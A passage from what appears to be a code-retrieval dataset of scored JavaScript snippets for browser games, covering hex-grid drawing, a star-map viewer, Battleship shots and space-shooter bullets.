this.range >= dz; dz++) {\n if (dx + dy + dz == 0) {\n var cubicCoOrd = cube_add( new cube(dx, dy, dz), oddr_to_cube(x, y));\n var offsetCoOrd = cube_to_oddr(cubicCoOrd);\n if (validateGridRef(offsetCoOrd[0], offsetCoOrd[1]))\n if(hexGrid.hexTiles[offsetCoOrd[0]][offsetCoOrd[1]].mech) {\n if(hexGrid.hexTiles[offsetCoOrd[0]][offsetCoOrd[1]].mech.team == teams.enemy) {\n hexGrid.hexTiles[offsetCoOrd[0]][offsetCoOrd[1]].changeSprite('hexagonGreen'); \n }\n else {\n hexGrid.hexTiles[offsetCoOrd[0]][offsetCoOrd[1]].changeSprite('hexagonRed');\n }\n }\n else {\n hexGrid.hexTiles[offsetCoOrd[0]][offsetCoOrd[1]].changeSprite('hexagonRed');\n }\n \n }\n }\n }\n }\n}", "title": "" }, { "docid": "76559314acee8211f210469e3890a482", "score": "0.6211527", "text": "function shoot() {\n var shootX = ship.x + ship.w;\n var shootWight = 20;\n var shootHight = 15;\n var shootY = ship.y + ship.h / 2;\n var shootSpeed = 20;\n allBullet.push(makeShooting(shootX, shootY, shootWight, shootHight, shootSpeed));\n}", "title": "" }, { "docid": "416568625b77589b2f621515f33b15d7", "score": "0.61829835", "text": "function shipFire(){\n if(userXpos > parseInt(xpos + alien.clientWidth, 10) || userXpos < xpos ){\n output.innerHTML = \"You missed! The alien has advanced!\";\n isHit= false;\n }\n if(userXpos <= parseInt(xpos + alien.clientWidth, 10) && userXpos >= xpos ){\n if(userYpos >= parseInt(canvasSize - ypos - alien.clientHeight, 10) && userYpos <= parseInt(canvasSize - ypos, 10)){\n output.innerHTML = \"You've hit the alien!\";\n isHit= true;\n console.log(isHit);\n }\n else if(userYpos > parseInt(canvasSize - ypos, 10)){\n output.innerHTML = \"You aimed past the alien and missed! The alien has advanced!\"; \n isHit= false;\n console.log(isHit);\n }\n else{\n output.innerHTML = \"You missed! The alien has advanced!\"; \n isHit= false;\n }\n }\n moveShip();\n shotCounter();\n \n}", "title": "" }, { "docid": "d81fa700198ac15bb2eaa7059bf469ab", "score": "0.61657083", "text": "function shoot() {\n if (evil.shots > 0 && !evil.dead) {\n var disparo = new EvilShot(evil.posX + 1 , evil.posY + 1);\n disparo.add();\n evil.shots --;\n setTimeout(function() {\n shoot();\n }, getRandomNumber(3000));\n }\n }", "title": "" }, { "docid": "2b90f65f7fb054b758f5ff6051125a8d", "score": "0.61655194", "text": "function drawHexagon(x,y) {\n // JD: Alternatively, you can use translate here.\n canvas.beginPath();\n //top half\n canvas.moveTo(x+55,y+50);\n canvas.lineTo(x+75,y+25);\n canvas.lineTo(x+110,y+25);\n canvas.lineTo(x+130,y+50);\n //bottom half\n canvas.lineTo(x+110,y+75);\n canvas.lineTo(x+75,y+75);\n canvas.closePath();\n //Draw outlined shape\n canvas.fill();\n }", "title": "" }, { "docid": "235d1ac1fd6087197df89ff65c65e007", "score": "0.61566883", "text": "function shot(id_target){\r\n \r\n let x = Math.trunc(id_target / 10); //It decomposes the position number.\r\n let y = id_target % 10;\r\n \r\n if(enemy_board[x][y] == \"w\"){ //When user fails, it only changes the locker appearance.\r\n \r\n audio_pause();\r\n water_sound.play();\r\n \r\n sign(\"Water!\");\r\n \r\n shots[id_target].style.opacity=\"0%\";\r\n \r\n return false;\r\n }else{ //When user hits, it changes the touched Ship object state.\r\n \r\n enemy_fleet[enemy_board[x][y]].state_manager();\r\n \r\n audio_pause();\r\n bang_sound.play();\r\n \r\n if(enemy_fleet[enemy_board[x][y]].state == \"touched\"){ //If the new state is \"touched\", it puts the corresponding locker appearance.\r\n \r\n sign(\"Touched!\");\r\n \r\n shots[id_target].style.backgroundColor = \"rgba(0,0,0,0)\";\r\n shots[id_target].style.backgroundImage = \"url(images/touched.png)\";\r\n \r\n return false;\r\n }else{ //If the new state is \"sunken\", it replaces all affected lockers by the images of corresponding ship.\r\n \r\n sign(\"Sunken!\");\r\n \r\n if(enemy_fleet[enemy_board[x][y]].type != 1){\r\n \r\n if(enemy_fleet[enemy_board[x][y]].direction == 0){\r\n \r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[0]].style.backgroundImage=\"url(images/vt.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[0]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n \r\n for(let i = 1; i < enemy_fleet[enemy_board[x][y]].type - 1; i++){\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[i]].style.backgroundImage=\"url(images/vc.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[i]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n }\r\n \r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[enemy_fleet[enemy_board[x][y]].type - 1]].style.backgroundImage=\"url(images/vb.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[enemy_fleet[enemy_board[x][y]].type - 1]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n \r\n }else{\r\n \r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[0]].style.backgroundImage=\"url(images/hl.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[0]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n \r\n for(let i = 1; i < enemy_fleet[enemy_board[x][y]].type - 1; i++){\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[i]].style.backgroundImage=\"url(images/hc.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[i]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n }\r\n \r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[enemy_fleet[enemy_board[x][y]].type - 1]].style.backgroundImage=\"url(images/hr.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[enemy_fleet[enemy_board[x][y]].type - 1]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n }\r\n }else{\r\n \r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[0]].style.backgroundImage=\"url(images/single.png)\";\r\n shots[enemy_fleet[enemy_board[x][y]].occupied_places[0]].style.backgroundColor=\"rgba(0, 0, 0, 0)\";\r\n }\r\n \r\n return true;\r\n }\r\n } \r\n}", "title": "" }, { "docid": "9ed17b0d42cc725339daa872f730eeeb", "score": "0.6082046", "text": "function haveToShoot() {\n targets.forEach((t) => {\n var v = parseInt(Math.random() * 300);\n if (v === 1 && !t.isShooting) {\n t.isShooting = true;\n t.vx = 0;\n t.sprite = new Sprite(\"tir\");\n t.extractSprites(assets.spriteSheetLeft);\n t.action = \"tir\";\n }\n });\n }", "title": "" }, { "docid": "1ff1f5c28108071a2828471282a930e4", "score": "0.6062561", "text": "function OnMouseDown(){\n //Place the ant at another point\n generateCoordinates();\n\n //Increase the walking speed by 0.01\n walkingSpeed += 0.001;\n }", "title": "" }, { "docid": "2345db5c2bb4750546ffac6c7337b1b9", "score": "0.60231936", "text": "function hexgrid(canvas){\n\t \t\t\t\t\t\t\t\t\t\t\t\n // ----- Variables ------ // \n\tvar ctx = canvas.getContext('2d');\t\n\t//var canvas.width = canvas.height;\n\t//var canvas.height = canvas.width;\n\tvar displayCords = \"Offset\";\n\tvar r = 30; // size of one side of hex, i.e. width is 2 r\n\tvar sqrt_3_2 = Math.sqrt(3) / 2;\t\t\n\n\t// used for calculating grid move\t\n\tvar clickDown = [0,0]; // location in canvas where the mouse down action occurred\n\tvar moveGrid = 'N';\n\t//var gridPosX = 0;\n\t//var gridPosY = 0;\n\t\n\t// variables to manage grid position and scrolling\t\n\tvar swipeOffset = [0,0]; // the amount to move gird on current swipe (mouse down and move)\n\tvar clickOffset = [0,0]; \t// total movement from prior swipes\n\tvar totalOffset = [0,0];\t\n\t\n \n \n\n\t// Constructor function for Hex object\t\t\t\t\n\tfunction Hex() {\n\t\tthis.x = 0;\n\t\tthis.y = 0;\n\t\tthis.cord = \"Axial\";\t\t\n\t\tthis.background =\"black\";\n\t\tthis.edge =\"white\";\n\t\tthis.size = r;\n\t\tthis.fill = true;\n\t\tthis.line = 0.3;\n\t\tthis.draw = function(ctx){\n\t\t\t\tctx.moveTo(this.x, this.y);\n\t\t\t\tctx.beginPath();\n\t\t\t\tfor (var i=0; i<=6; i++) {\n\t\t\t\t\tangle = Math.PI / 3 * i; \n\t\t\t\t\txi = this.x + this.size * Math.cos(angle);\n\t\t\t\t\tyi = this.y + this.size * Math.sin(angle);\t\t\t\t\n\t\t\t\t\tif (i === 0) {\n\t\t\t\t\t\tctx.moveTo(xi, yi);\n\t\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tctx.lineTo(xi, yi)\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tctx.closePath();\n\t\t\t\tif (this.fill){\n\t\t\t\t\tctx.fillStyle = this.background;\n\t\t\t\t\tctx.fill();\n\t\t\t\t\t}\n\t\t\t\tctx.strokeStyle = this.edge;\n\t\t\t\tctx.lineWidth = this.line;\n\t\t\t\tctx.stroke();\t\n\t\t\t}\t\n\t\t};\n\n\n\t// Get Mouse position on canvas \n\tfunction getMousePos(canvas, evt) {\n\t\tvar rect = canvas.getBoundingClientRect();\n\t\treturn {\n\t\t x: evt.clientX - rect.left,\n\t\t y: evt.clientY - rect.top\n\t\t};\n\t};\n\t\n\t// draw Border\n\tfunction drawBorder(x,y,side){\n\t//console.log (\"drawBorder: x=\" + x + \", y=\" +y + \", side=\" + side);\n\t\tctx.moveTo(x, y);\n\t\tctx.beginPath();\n\t\t\n\t\tswitch (side) {\n\t\t\tcase \"top\" :\n\t\t\t\ti = 4;\n\t\t\t\tbreak;\n\t\t\tcase \"top_right\":\n\t\t\t\ti=5;\n\t\t\t\tbreak;\n\t\t\tcase \"bottom_right\":\n\t\t\t\ti=6;\n\t\t\t\tbreak;\n\t\t\tcase \"bottom\":\n\t\t\t\ti=1;\n\t\t\t\tbreak;\n\t\t\tcase \"bottom_left\":\n\t\t\t\ti=2;\n\t\t\t\tbreak;\n\t\t\tcase \"top_left\":\t\t\t\t\n\t\t\t\ti=3;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tnull;\n\t\t\t}\t\n\n\t\t\tangle = Math.PI / 3 * i; \n\t\t\txi = x + r * Math.cos(angle);\n\t\t\tyi = y + r * Math.sin(angle);\t\t\t\t\n\t\t\tctx.moveTo(xi, yi);\n\n\t\t\tangle = Math.PI / 3 * (i+1); \n\t\t\txi = x + r * Math.cos(angle);\n\t\t\tyi = y + r * Math.sin(angle);\t\n\t\t\tctx.lineTo(xi, yi);\n\t\t\t\n\t\t\tctx.strokeStyle = \"red\";\n\t\t\tctx.lineWidth = 2;\n\t\t\tctx.stroke();\t\n\t\t\tctx.closePath();\t\t\t\t\n\t}\n\t\t\n\t// drawSpot \n\tfunction drawSpot (x,y,radius,color){\n\t\tctx.beginPath();\n\t\tctx.arc(x,y,radius,0,2*Math.PI);\n\t\tctx.fillStyle = color; \n\t\tctx.fill();\t\t\t\n\t\tctx.stroke();\t\n\t}\n\t\n\t// return nearest hex at a given point\t\t\n\tfunction getHex(p,q){\n\t\tvar x,y,z, result;\n\t\n\t\tx = (2 / 3 * p / r) ;\n\t\ty = ((1/3 * Math.sqrt(3) * q) - (1/3 * p )) / r;\n\t\tz = - x - y;\n \n \n\n\t\tconsole.log(\"getHex: totalOffset[0]=\" + totalOffset[0] + \", totalOffset[1]=\" + totalOffset[0] );\t\n\t\tconsole.log(\"getHex: q=\" + q + \", p=\" + p + \", r=\" + r);\n\t\tconsole.log(\"getHex: x=\" + x + \", y=\" + y + \", z=\" + z);\t\t\n\t\tresult = hex_round(x,y,z);\n \n if (Math.abs(result[0] % 2) === 1) {\n result[1] = result[1] + 1;\n }\n\n\t\treturn result;\n\t}\n\n\t// return hex at a given point // centre of hex\n\tfunction getPoint(p,q){\n\t\n\t\tvar x,y,p,q,offset,result;\n\n\t\tvar x = Math.round ((p * 1.5 * r) - (totalOffset[0]));\t\t\t\n\t\tvar y = Math.round((sqrt_3_2 * 2 * r * q)- totalOffset[1] );\n\t\tvar offset = - Math.round(sqrt_3_2 * r); \n\n\t\tif (Math.abs(p % 2) === 1) { // need absolute because -1 mod 2 = -1, not 1\n\t\t\ty = y + offset;\n\t\t\t}\n\t\t\n\t\t//console.log(\"getPoint: x=\" + x + \", y=\" + y);\t\t\t\n\t\tresult = [x,y];\n\t\treturn result;\n\t}\t\n\t\n\t\n\tfunction writeHex(text,x,y) {\n\t\tctx.font = '7pt arial';\n\t\tctx.fillStyle = \"white\";\n\t\tctx.textAlign = \"center\";\n\t\tctx.fillText(text,x, y);\n\t}\n\n\t\n\tfunction writeCoordinates (center_x,center_y,x,y) {\n\t\tvar c;\n\t\tvar cw;\n\t\t\t\t\t\t\n\t\tif (displayCords === \"Offset\") {\n\t\t\tx = x%8;\n\t\t\t\n\t\t\tif (x===0){\n\t\t\t\tx=8;\n\t\t\t}\n\t\t\ty = y%10;\n\t\t\t\n\t\t\tif (y===0){\n\t\t\t\ty=10;\n\t\t\t}\n\t\t\t\n\t\t\tcw = lpad(x,2) + lpad(y,2);\n\t\t}\n\t\telse if (displayCords === \"Axial\") {\n\t\t\tc = offset2Axiel([x,y]);\n\t\t\tcw = c[0] + \",\" + c[1];\n\t\t}\n\t\telse { // Cube\n\t\t\tc= offset2Cube([x,y]); \n\t\t\tcw = c[0] + \",\" + c[1] + \",\" + c[2];\n\t\t}\n\t\twriteHex(cw,center_x, center_y);\n\t}\n \n//var GetStarArray = function(id) {\n// var i = null;\n// for (i = 0; stars.star.length > i; i += 1) {\n// if (stars.star[i].id === id) {\n// return i;\n// }\n// }\n// \n// return -1;\n//}; \n\t\n\tfunction drawgrid(){\n\t\n \n \n\t\t// r = length of each vertices, there for width is 2r\n\t\t// hight is root 3 over 2 r from centre to top, so total hight root 3 times r\n\t\t// Horizontal distance between hexes is 1 1/2 * r\n\t\t//var r = document.getElementById('gridSize').value;\n\t\tvar hx,hy,center,px,py;\n\t\tvar cStar ; // coordinate of the star in offset if it exists\n\t\t\n\t\tvar maxX = (canvas.width / r / 3 * 2) +1;\n\t\tvar maxY = (canvas.height / (r * sqrt_3_2 * 2 ))+1;\n\t\tvar h = new Hex();\n\t\t\n\t\t// clear canvas to be redrawn\n\t\tctx.clearRect(0, 0, canvas.width,canvas.height);\t\t\n\t\t\n\t\ttotalOffset[0] = clickOffset[0] + swipeOffset[0];\n\t\ttotalOffset[1] = clickOffset[1] + swipeOffset[1];\n\t\t\n\t\t//document.getElementById(\"totalOffset\").innerHTML = \"Total Amount of Grid Move: \" + Math.round(totalOffset[0]) + \",\" + Math.round(totalOffset[1]);\n\t\t//document.getElementById(\"clickOffset\").innerHTML = \"Amount at Click: \" + Math.round(clickOffset[0]) + \",\" + Math.round(clickOffset[1]);\n\t\t//document.getElementById(\"swipeOffset\").innerHTML = \"Current of Grid Move: \" + Math.round(swipeOffset[0]) + \",\" + Math.round(swipeOffset[1]);\n\t\t\n\t\thx = Math.round(totalOffset[0] / r / 3 * 2); // Hex offset x\n\t\thy = Math.round(totalOffset[1] / (r * sqrt_3_2 * 2 )); // Hex offset y\t\t\n\t\t\n\t\tfor (var y=hy+1; y<= maxY + hy; y++) {\n\t\t\tfor (var x=hx+1; x<= maxX + hx; x++) {\t\t\t\n\t\t\t\t\n\t\t\t\tif ( x < 33 && y < 41 ) {\t\t\t// Limit size to one sector of 32 x 40\t\n\t\t\t\t\tcenter = getPoint(x,y);\n\t\t\t\t\tpx = center[0];\n\t\t\t\t\tpy = center[1];\n\t\t\t\t\t// Draw Hex\n\t\t\t\t\th.x = px;\n\t\t\t\t\th.y = py;\t\t\t\n\t\t\t\t\th.background =\"black\";\n\t\t\t\t\th.edge =\"white\";\n\t\t\t\t\th.draw(ctx);\n\t\t\t\t\t\n\t\t\t\t\t// Draw Stars\n\t\t\t\t\tcStar = lpad(x,2) + lpad(y,2);\n //var cStar = GetStarArray(cStar);\n if(stars.star.hasOwnProperty(cStar)){\n\t\t\t\t\t//if(stars.hasOwnProperty(cStar)){\n\t\t\t\t\t\tdrawSpot(center[0],center[1],5,\"yellow\");\t\n\t\t\t\t\t\twriteHex(stars.star[cStar].worldCode.substr(0,1),px,py+20) ;\n\t\t\t\t\t}\t\t\t\n\t\t\t\t\twriteCoordinates( px, py - (sqrt_3_2 * r ) + 10,x,y);\t // 10 from the top of the hex\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Draw sub-sector boarders\n\t\t\n\t\tfor (var y=hy; y<= maxY + hy; y++) {\n\t\t\tfor (var x=hx; x<= maxX + hx; x++) {\t\t\t\n\t\t\t\t\n\t\t\t\tif (x > 0 && y > 0 && x < 33 && y < 41 ) {\t\t\t// Limit size to one sector of 32 x 40\t\n\t\t\t\t//\tconsole.log (\"Math.abs(x)%8=\" + Math.abs(x)%8);\n\t\t\t\t\tcenter = getPoint(x,y);\n\t\t\t\t\t\n\t\t\t\t\t// draw left border\n\t\t\t\t\tif (Math.abs(x)%8 === 1) {\n\t\t\t\t\t\tdrawBorder(center[0],center[1],\"top_left\");\n\t\t\t\t\t\tdrawBorder(center[0],center[1],\"bottom_left\");\n\t\t\t\t\t\t}\n\t\t\t\t\t// draw top border\t\n\t\t\t\t\tif (Math.abs(y)%10 === 1) {\n\t\t\t\t\t\tdrawBorder(center[0],center[1],\"top\");\n\t\t\t\t\t\tif (Math.abs(x)%2 === 1) {\n\t\t\t\t\t\t\tdrawBorder(center[0],center[1],\"top_left\");\n\t\t\t\t\t\t\tdrawBorder(center[0],center[1],\"top_right\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// draw bottom border\n\t\t\t\t\tif (y === 40) {\n\t\t\t\t\t\tdrawBorder(center[0],center[1],\"bottom\");\n\t\t\t\t\t\tif (Math.abs(x)%2 === 0) {\n\t\t\t\t\t\t\tdrawBorder(center[0],center[1],\"bottom_left\");\n\t\t\t\t\t\t\tdrawBorder(center[0],center[1],\"bottom_right\");\n\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\n\t\t// Draw stars\n\t\t// drawstars();\n\t\t\n\t}\n\n\t\n// --------------------------------------------------------------------------------------------------------------------\n// HTML Button Functions\n// --------------------------------------------------------------------------------------------------------------------\t\t\n\n\tfunction changeCords(system) {\n\t\t\n\t\t\tdisplayCords = system;\t\n\t\t//\tconsole.log(\"displayCords=\" + system);\t\t\t\n\t\t\tdrawgrid();\n\t\t}\t\t\n\n\n\n// --------------------------------------------------------------------------------------------------------------------\n// Event Listeners\n// --------------------------------------------------------------------------------------------------------------------\t\nvar prevX = -1;\nvar prevY = -1;\nvar prevHex;\n \n\tcanvas.addEventListener('mousemove', function(evt) {\n\t\tvar mousePos = getMousePos(canvas, evt);\n\t\tvar gridPos, p, q,center;\n\t\tvar cube,offset;\n\t\tvar cStar;\n \n \n\t\t\n\t\tp = mousePos.x + totalOffset[0];\n\t\tq = mousePos.y + totalOffset[1];\n\n\t\tcube = getHex(p,q); // this is returned in cube/axial\n\t\toffset = Axiel2Offset([cube[0],cube[1]]); // Converted to Offset\n\n\t\tif (moveGrid == 'Y') {\n\t\t\tswipeOffset[0] = (Math.round(mousePos.x) - clickDown[0]);\n\t\t\tswipeOffset[1] = (Math.round(mousePos.y) - clickDown[1]);\n\t\t}\n\n //redraw selection\n if (prevX > -1 & prevY > -1) {\n ctx.putImageData(prevHex, prevX, prevY) \n }\n \n \n \t\t\t\n\t\t// highlight hex under mouse pointer\n\t\tcenter = getPoint(offset[0],offset[1]);\n\t\th = new Hex();\t\t\t\t\n\t\t\th.x = center[0];\n\t\t\th.y = center[1];\n\t\t\th.fill =false;\n\t\t\th.size = r * 0.5\n\t\t\th.line = 1;\n\t\t\th.edge =\"white\";\n \n //capture prev hex\n \n \n //reset prevX, Y\n prevX = h.x-r;\n prevY = h.y-r; \n \n //this line causes distortion!!!\n prevHex = ctx.getImageData(prevX, prevY, r*2, r*2);\n \n\t\th.draw(ctx);\n\t\t\n\t\tcStar = lpad(Math.round(offset[0]),2) + lpad(Math.round(offset[1]),2);\n document.getElementById(\"location\").innerHTML = \"location: \" + cStar;\n \n if(stars.star.hasOwnProperty(cStar)){\n\t\t\tdocument.getElementById(\"sub_sector\").innerHTML = \"Sector: \" + stars.star[cStar].sector;\n\t\t\tdocument.getElementById(\"system_name\").innerHTML = \"System Name: \" + stars.star[cStar].name;\n\t\t\tdocument.getElementById(\"world_code\").innerHTML = \"World Code: \" + stars.star[cStar].worldCode;\n\t\t\tdocument.getElementById(\"sytstem_notes\").innerHTML = \"System Notes: \" + stars.star[cStar].notes;\t\t\t\t\t\t\t\n\t\t\t}\n\t\telse {\n\t\t// Should use some sort of hide method here, but not worrying to much about formatting yet\n\t\t\tdocument.getElementById(\"sub_sector\").innerHTML = \"\";\n\t\t\tdocument.getElementById(\"system_name\").innerHTML = \"\";\n\t\t\tdocument.getElementById(\"world_code\").innerHTML = \"\";\n\t\t\tdocument.getElementById(\"sytstem_notes\").innerHTML = \"\";\n\t\t}\n\t\t\n\t\t\n\t\t// draw spot at mouse pointer location\n\t\t//if (moveGrid == 'Y') {\n\t\t//\tdrawSpot(mousePos.x,mousePos.y,8,\"green\");\n\t\t//\t}\n\t\t//else {\n\t\t//\tdrawSpot(mousePos.x,mousePos.y,8,\"blue\");\n\t\t//}\n\t\t\n\t\t// Write mouse positions to HTML\n\t\tdocument.getElementById(\"mouse_position\").innerHTML = \"Mouse Position (Pixel): \" + mousePos.x + \",\" + Math.ceil(mousePos.y);\t// not sure why mousePos.y isn't a whole number\n\t\tdocument.getElementById(\"hex_position_offset\").innerHTML = \"Offset Cords: \" + Math.round(offset[0]) + \",\" + Math.round(offset[1]);\n\t\tdocument.getElementById(\"hex_position_cube\").innerHTML = \"Axiel / Cube Cords: \" + Math.round(cube[0]) + \",\" + Math.round(cube[1]) + \",\" + Math.round(cube[2]) ;\n\t\t//document.getElementById(\"hex_center\").innerHTML = \"Center of current hex: \" + center[0] + \",\" + center[1];\n\t\t\n\t}, false);\n\n\t\t\n\t//canvas.addEventListener('mousewheel', function(evt) {\n //does not work well with scrolling being mousewheel\n\t\t\t//var delta = Math.max(-1,Math.min(1,(evt.wheelDelta || -evt.detail))); \n\t\t\t//wheelDelta Chrome // -detail Firefox\n\t\t\t\n\t\t//\tdocument.getElementById('gridSize').value = Math.max(30,parseInt(document.getElementById('gridSize').value) + delta);\n\t\t//\tr = document.getElementById('gridSize').value;\n\t\t\t//r = Math.max(30,r) + delta\n\t\t//\tdrawgrid();\n\t//}, false);\n\n\tcanvas.addEventListener('mousedown', function(evt) {\n\t\tvar mousePos = getMousePos(canvas, evt);\t\n\t\t\n\t\tclickDown[0] = Math.round(mousePos.x);\n\t\tclickDown[1] = Math.round(mousePos.y);\n\t\tmoveGrid = 'Y';\n//\t\tdrawSpot(mousePos.x,mousePos.y,8,\"green\");\n\t}, false);\n\n\tcanvas.addEventListener('mouseup', function(evt) {\n\t//\tdocument.getElementById(\"mouse_click\").innerHTML =\t\"Mouse Up Clicked\";\n\t\tmoveGrid = 'N';\n\t\t\n\t\tclickOffset[0] = clickOffset[0] + swipeOffset[0];\n\t\tclickOffset[1] = clickOffset[1] + swipeOffset[1];\n\t\tswipeOffset[0] = 0;\n\t\tswipeOffset[1] = 0;\n\t\t\n\t}, false);\t\n\t\t \n \n// --------------------------------------------------------------------------------------------------------------------\n// Script begin here\n// --------------------------------------------------------------------------------------------------------------------\t\t\t\t\n\t\t\n\tdocument.getElementById(\"Cube\").onclick = function(){changeCords(\"Cube\");};\n\tdocument.getElementById(\"Offset\").onclick = function(){changeCords(\"Offset\");};\t\n\tdocument.getElementById(\"Axial\").onclick = function(){changeCords(\"Axial\");};\t\n\n\tdrawgrid();\n\t\n\t//console.log(sector.star[0].name);\n}", "title": "" }, { "docid": "cb6dbc7e5a9088e8a909a5f350ff2da9", "score": "0.6018549", "text": "function createFalconHitBox(){\n fill(0,0,0,0);\n ellipse(x, y, 0.29*engineOff.width, 0.29*engineOff.width);\n}", "title": "" }, { "docid": "8bef8102401cd47e5aef8fe92aab9392", "score": "0.59981954", "text": "function strokeHexagon(x, y) {\n ctx.beginPath();\n ctx.moveTo(x + 0.5 * sideLength, y + hexRectangleHeight);\n ctx.lineTo(x + 1.5 * sideLength, y + hexRectangleHeight);\n ctx.lineTo(x + hexRectangleWidth, y + hexRectangleHeight + hexInnerRadius);\n ctx.lineTo(x + 1.5 * sideLength, y + hexRectangleHeight + hexRectangleHeight);\n ctx.lineTo(x + 0.5 * sideLength, y + hexRectangleHeight + hexRectangleHeight);\n ctx.lineTo(x, y + hexRectangleHeight + hexInnerRadius);\n ctx.closePath();\n ctx.stroke();\n}", "title": "" }, { "docid": "6c9377110eda558e5b50013206bad270", "score": "0.59874177", "text": "function drawShip(){\n ctx.fillStyle=\"green\"; \n drawTitle();\n\n if (deltaX >350){\n deltaX=350;\n }\n else if(deltaX <-350){\n deltaX=-350;\n }\n ctx.drawImage(shipImage,x-25+deltaX,450,50,30)\n // ctx.fillRect();\n drawAlien();\n}", "title": "" }, { "docid": "5fce19f53514234d5e144b69580b1858", "score": "0.5985088", "text": "function EnemyShot(x, y, speed, angle, accel, maxspeed, color, brad, srad, swid, hitbox, vanishtime, currgame) {\n this.x = x;\n this.y = y;\n this.speed = speed;\n this.angle = angle;\n this.accel = accel;\n this.maxspeed = maxspeed;\n this.hitbox = hitbox;\n this.createtime = currgame.frameNo;\n this.existtime = 0;\n this.vanishtime = vanishtime;\n this.update = function () {\n this.x += this.speed*Math.cos(this.angle);\n this.y += this.speed*Math.sin(this.angle);\n if (this.accel != 0) { //Only if accelerating\n this.speed = Math.min(this.maxspeed, this.speed + this.accel);\n }\n this.existtime += 1;\n };\n this.draw = function () {\n var ctx = currgame.context; //game window\n ctx.fillStyle = \"#FFFFFF\";\n ctx.beginPath();\n ctx.arc(this.x, this.y, brad, 0, 2*Math.PI);\n ctx.fill();\n ctx.strokeStyle = color;\n ctx.beginPath();\n ctx.arc(this.x, this.y, srad, 0, 2*Math.PI);\n ctx.lineWidth = swid;\n ctx.stroke();\n };\n return this;\n}", "title": "" }, { "docid": "4958c32f1dc7f5c14760efeec608d20a", "score": "0.5969139", "text": "handleShooting() {\n this.cooldown--;\n this.cooldown = constrain(this.cooldown, 0, this.cooldownMax);\n\n if (mouseIsPressed && this.cooldown === 0) {\n this.collided = false;\n this.flyDirection();\n this.angleValues.push(this.angle);\n pewSound.play();\n\n this.cooldown = this.cooldownMax;\n this.x = width / 2;\n this.y = height / 2;\n }\n }", "title": "" }, { "docid": "5d01cb5b36e7dcc5338600325d4494dd", "score": "0.59666866", "text": "function onLeftDown(){\n var tile= findHexTile();\n console.log(tile.x +\"_\"+ tile.y);\n\n if(!checkforBoundary(tile.x,tile.y)) {\n if(checkForOccuppancy(tile.x,tile.y)) {\n if(levelData[tile.x][tile.y]==10) {\n var hexTile=hexGrid.getByName(\"tile\"+tile.x+\"_\"+tile.y);\n if(!hexTile.revealed){\n hexTile.switchTile();\n }\n }\n } \n else {\n var hexTile=hexGrid.getByName(\"tile\"+tile.x+\"_\"+tile.y);\n hexTile.switchTile();\n }\n }\n}", "title": "" }, { "docid": "d9f42ddea27f7ffc533b880f421a1c3d", "score": "0.5964965", "text": "function createShip(){\n translate(x, y);\n rotate(rotationAngle);\n createFalconHitBox();\n applySkin();\n}", "title": "" }, { "docid": "16b13e0c5204564f8bcc47dd40a28f31", "score": "0.5959658", "text": "function WalledHexagon(size, wT)\n{ \n let sketchWalledHexagon ;\n for(let outer = 0 ; outer <= 1 ; outer ++)\n {\n for(let i = 0 ; i <= 6 ; i += 1)\n {\n const angle = i * 2 * Math.PI / 6\n const xvalue = size * Math.sin(angle);\n const yvalue = size * Math.cos(angle);\n const oxvalue = (size + wT) * Math.sin(angle);\n const oyvalue = (size + wT) * Math.cos(angle);\n const point = [xvalue,yvalue];\n // note the minus for the x-coordinate to make it\n // rotate in reverse! \n const opoint = [-oxvalue, oyvalue];\n\n if (i === 0)\n {\n if (outer === 0)\n {\n sketchWalledHexagon = new Sketch(point);\n }\n else \n {\n sketchWalledHexagon.LineTo(opoint);\n }\n }\n else \n {\n if (outer === 0)\n {\n sketchWalledHexagon.LineTo(point);\n }\n else\n {\n sketchWalledHexagon.LineTo(opoint);\n };\n };\n }; \n };\n sketchWalledHexagon.LineTo([0,size]);\n return sketchWalledHexagon.End(false).Face();\n}", "title": "" }, { "docid": "b4aa808580ffc8d536d38ebb23b39f7d", "score": "0.59523815", "text": "function hitBox() {}", "title": "" }, { "docid": "e6bd5bd4871117da488bf832a3bf5a9a", "score": "0.5946316", "text": "function NewHex(xCord,yCord,gridPoint){\n\tthis.position = EOffsetBearing(gridPoint,COASTALDEFENDER.d*yCord,90);\n\tthis.row = xCord;\n\tthis.column = yCord;\n\tthis.terrain = null;\n\tthis.isCritical = null;\n\tthis.hex = new google.maps.Polygon.RegularPoly(EOffsetBearing(gridPoint,COASTALDEFENDER.d*yCord,90),COASTALDEFENDER.hexR,6,0,\"#000000\",1,1,\"#00ffff\",0.5,true);\n\tthis.hex.setMap(map);\n\t/*\n\tthis.marker = new google.maps.Marker({\n\t\tposition: EOffsetBearing(gridPoint,COASTALDEFENDER.d*yCord,90),\n\t\tmap: map,\n\t\tvisible: false,\n\t\tclickable: true,\n\t\ttitle: this.hasLine\n\t});\n\t*/\n\tthis.hasLine = \"NAI\";\n\tthis.line = google.maps.event.addListener(this.hex, 'rightclick', 